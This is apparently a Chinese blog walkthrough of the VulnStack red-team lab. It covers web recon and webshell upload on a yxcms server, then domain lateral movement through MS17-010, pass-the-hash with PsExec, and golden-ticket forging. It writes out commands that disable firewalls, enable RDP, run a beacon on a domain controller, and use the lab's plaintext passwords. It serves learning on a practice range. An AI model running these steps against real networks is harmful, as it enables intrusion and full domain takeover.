[VulnStack] ATT&CK实战系列—红队实战(一)


0x00 环境搭建

靶机环境是红日团队开源的一个红队实战测试环境,靶机下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

通过模拟真实环境搭建的漏洞靶场,完全模拟ATK&CK攻击链路进行搭建,形成完整个闭环。虚拟机默认密码为hongrisec@2019

配置网卡,仅主机模式192.168.10.0网段模拟内网,192.168.43.0网段模拟外网:
Web服务器:windows 7

外网网卡IP(桥接):192.168.43.17
内网网卡IP(仅主机):192.168.10.130

域成员:windows server 2003

内网网卡IP(仅主机):192.168.10.131

域控服务器:windows server 2008

内网网卡IP(仅主机):192.168.10.132

攻击机器:kali 2020.4

外网网卡IP(桥接):192.168.43.84

攻击拓扑如下:
在这里插入图片描述


0x01 信息收集

端口探测

拿到站点之后,先找到其真实ip地址(这里直接有了),探测其端口:
在这里插入图片描述
发现开启了80端口(http服务)和3306端口(mysql服务)。

目录扫描

访问80端口,发现phpstudy探针,存在大量信息泄露:
在这里插入图片描述
目录扫描,发现网站备份文件和phpmyadmin后台:
在这里插入图片描述
下载网站备份文件,从robots.txt中发现该网站是yxcms:
在这里插入图片描述
访问http://192.168.43.17/yxcms/,发现泄露网站登录后台地址和登录密码:
在这里插入图片描述


0x02 漏洞利用

漏洞1(后台弱口令+信息泄露)

弱口令登录网站后台,泄露敏感信息:
在这里插入图片描述

漏洞2(前台存储型XSS)

在留言本功能注入xss语句:
在这里插入图片描述
在后台留言本功能中成功弹窗:
在这里插入图片描述
审核通过后前台也会有弹窗:
在这里插入图片描述

漏洞3(后台文件上传)

在后台前台模板模块添加新模板写入一句话木马:
在这里插入图片描述
通过之前的备份文件可知文件保存目录:http://192.168.43.17/yxcms/protected/apps/default/view/default/shell.php?8=phpinfo();
在这里插入图片描述
蚁剑链接getshell:
在这里插入图片描述

漏洞4(任意文件删除)

访问http://192.168.43.17/yxcms/index.php?r=admin/files/del&fname=/…/…/phpinfo.php删除刚刚扫到的phpinfo文件:
在这里插入图片描述
删除前后对比:
在这里插入图片描述
在这里插入图片描述

漏洞5(后台SQL注入)

后台碎片列表删除操作存在sql盲注,利用dnslog外带数据,但是没复现成功,后台本身也可以执行sql语句。

详情参考yxcms app 1.4.6 漏洞集合:https://www.freebuf.com/column/162886.html

漏洞6(phoMyAdmin弱口令)

扫到phpMyAdmin登录入口,弱口令 root/root 成功登录:
在这里插入图片描述

漏洞7(phpMyAdmin开启全局日志getshell)

进入phpMyAdmin发现有权限开启日志保存状态:
在这里插入图片描述
执行sql语句,写入一句话木马:
在这里插入图片描述
访问木马地址,执行成功:
在这里插入图片描述
蚁剑连接成功:
在这里插入图片描述


0x03 内网搜集

域信息收集

蚁剑连接传大马,上线CS提权:
在这里插入图片描述
查看网卡信息,发现内网ip:
在这里插入图片描述
查看是否有域,以及当前域:net config workstation
在这里插入图片描述
查看域内所有用户列表:net user /domain
在这里插入图片描述
查看域成员计算机列表:net group "domain computers" /domain
在这里插入图片描述
本机计算机名字为 STU1,另外还有两个域用户分别是 DEV1、ROOT-TVI862UBEH。

查看域管理员用户:net group "domain admins" /domain
在这里插入图片描述
域控制用户为 OWA。

使用lodan扫描内网网络:run lodan 192.168.10.0/24 OnlinePC
在这里插入图片描述
hashdump看一下密码:
在这里插入图片描述
再用mimikatz抓一下密码,得到当前用户登录密码为hongrisec@2019:
在这里插入图片描述

内网漏洞扫描

注册表开启3389端口并关闭防火墙:

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

netsh firewall set opmode disable   			# winsows server 2003 之前
netsh advfirewall set allprofiles state off 	# winsows server 2003 之后

在这里插入图片描述
远程登陆发现目标主机有一个现成的nmap工具,可以进一步针对内网主机进行漏洞信息收集:nmap --script=vuln 192.168.10.0/24
发现域成员主机存在MS08-067MS17-010漏洞:
在这里插入图片描述
而域控主机存在MS17-010漏洞:
在这里插入图片描述


0x04 横向渗透

MSF和CS联动

MSF新建监听,payload使用reverse_http
在这里插入图片描述
CS设置监听器,payload使用foreign http
在这里插入图片描述
选择这个监听器:
在这里插入图片描述
msf成功转接到cs的shell:
在这里插入图片描述

路由转发

查看路由信息:run get_local_subnets
在这里插入图片描述
添加一条路由:run autoroute -s 192.168.10.0/24
在这里插入图片描述

代理转发

也可以通过使用CS设置socks代理模块配置代理,更好用一点(并修改etc/proxychains.conf文件):
在这里插入图片描述
刚才收集到域成员主机存在MS08-067MS17_010漏洞,由于目标系统无法直接连接到攻击机,所以需要将payload设置为Bind_tcp类型展开攻击:
在这里插入图片描述
成功拿到域成员的会话,但是马上就会断掉,无法使用,网上找不到不蓝屏的方法,但使用ms17-010-command模块可以成功执行命令:
在这里插入图片描述
接下来就可以关闭防火墙开启3389添加账户远程登录了。


0x05 PTH+黄金票据

哈希传递

计算机中的认证,不是根据原始密码认证,而是根据密文认证的。而通过传递密文成功登录就是哈希传递。

用win7这台机器中转一个监听器:
在这里插入图片描述
生成一个木马:
在这里插入图片描述
将生成的木马文件和PsExec.exe上传到win7主机,远程登录win7主机执行:shell C:\PsExec64.exe -accepteula \\192.168.10.132 -u administrator -p hongrisec@2003 -d -c C:\beacon1.exe
在这里插入图片描述
传到了域控主机但是没能执行,建立ipc管道,用psexec.exe连接cmd:net use \\192.168.10.132\ipc$ "hongrisec@2003" /user:god\administrator
在这里插入图片描述
执行beacon.exe文件:
在这里插入图片描述
cs成功上线域控主机:
在这里插入图片描述

构造黄金票据

拿到域控主机后,就可以伪造黄金票据了,先选择hashdump得到kebtgt账户的NTLM值:
在这里插入图片描述
然后用用mimikatz找到一个合法的sid:
在这里插入图片描述
然后就可以构造黄金票据了,用户名任意,域名为当前域名,sid和hash值就是刚才获取到的:
在这里插入图片描述
创建成功效果如下:
在这里插入图片描述
可以使用mimikatz kerberos::list命令查看当前系统的票据:
在这里插入图片描述
探测一下当前域中的主机,字体没有加粗代表主机未上线:
在这里插入图片描述
加载票据访问,选择监听器后执行,主机成功上线:
在这里插入图片描述
最后的枢纽图:
在这里插入图片描述
补充金票银票的区别:
金票Golden ticket:
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session KeyTGT,而Logon Session Key并不会保存在KDC中,krbtgt 的 NTLM Hash又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造TGTLogon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

特点:不需要与AS进行交互,需要用户 krbtgt 的 Hash

条件:域名称、域的SID值、域的 KRBTGT 账号的 HASH、伪造任意用户名

AS:校验访问用户身份,看看你是谁,如果你的用户名存在AS对的数据库里面,那么就会给你一个随机64位的值,但是这个值是经过你的用户密码加密的,你得本地拿自己密码解开,这个是用来通信的,你和TGS的沟通都会用这个密钥加密。

TGS:和目标机器进行交互,中间用AS提供的密钥加密,然后对你提供的密码进行校验。

银票SILVER TICKET:
如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST
在Kerberos认证的第三步,Client 带着STAuthenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key解密ST,从而获得Session Key。通过Session Key解密Authenticator3,进而验证对方的身份,验证成功就让 Client 访问 Server上的指定服务了。所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

特点:不需要与KDC进行交互、需要 server 的NTLM hash

区别:
获取的权限不同:
金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务,如CIFS

认证流程不同:
金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server

加密方式不同:
金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密


总结

整体流程如下:
信息收集 => 信息泄露 => 漏洞利用 => 后台文件上传和phpMyAdmin开启全局日志getshell => 拿到wiin7主机 => 上传大马上线CS => 内网信息收集 => MS17_010利用 => 可以在win2003域成员主机执行命令 => 哈希传递拿到域控主机 => 构造黄金票据维权

一次入门级别的内网渗透,整体流程比较简单,学习了CS和MSF联动使用和域渗透的一些操作,靶机环境比较复杂容易出现不少问题,总结经验以后就方便解决了。官方提示的很多可利用点都还没复现到,如redis getshell但是默认无法访问没找到什么方法,MySQL提权、基础服务弱口令探测及深度利用之powershell、利用DomainFronting实现对beacon的深度隐藏和入侵后的痕迹清理都没复现到,之后的靶场再做补充吧。


参考链接:
https://www.freebuf.com/column/162886.html(yxcms app 1.4.6 漏洞集合)
https://www.icode9.com/content-4-914703.html(红日ATT&CK红队评估实战靶场1)
https://blog.csdn.net/qq_32731075/article/details/118193887(内网渗透–CS伪造黄金票据与白银票据)
https://www.cnblogs.com/liliyuanshangcao/p/13743389.html(ATK&CK红队评估实战靶场(一)的搭建和模拟攻击过程全过程)
https://blog.csdn.net/qq_38626043/article/details/117629847(ATT&CK实战系列——红队实战(一))

  • 1
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值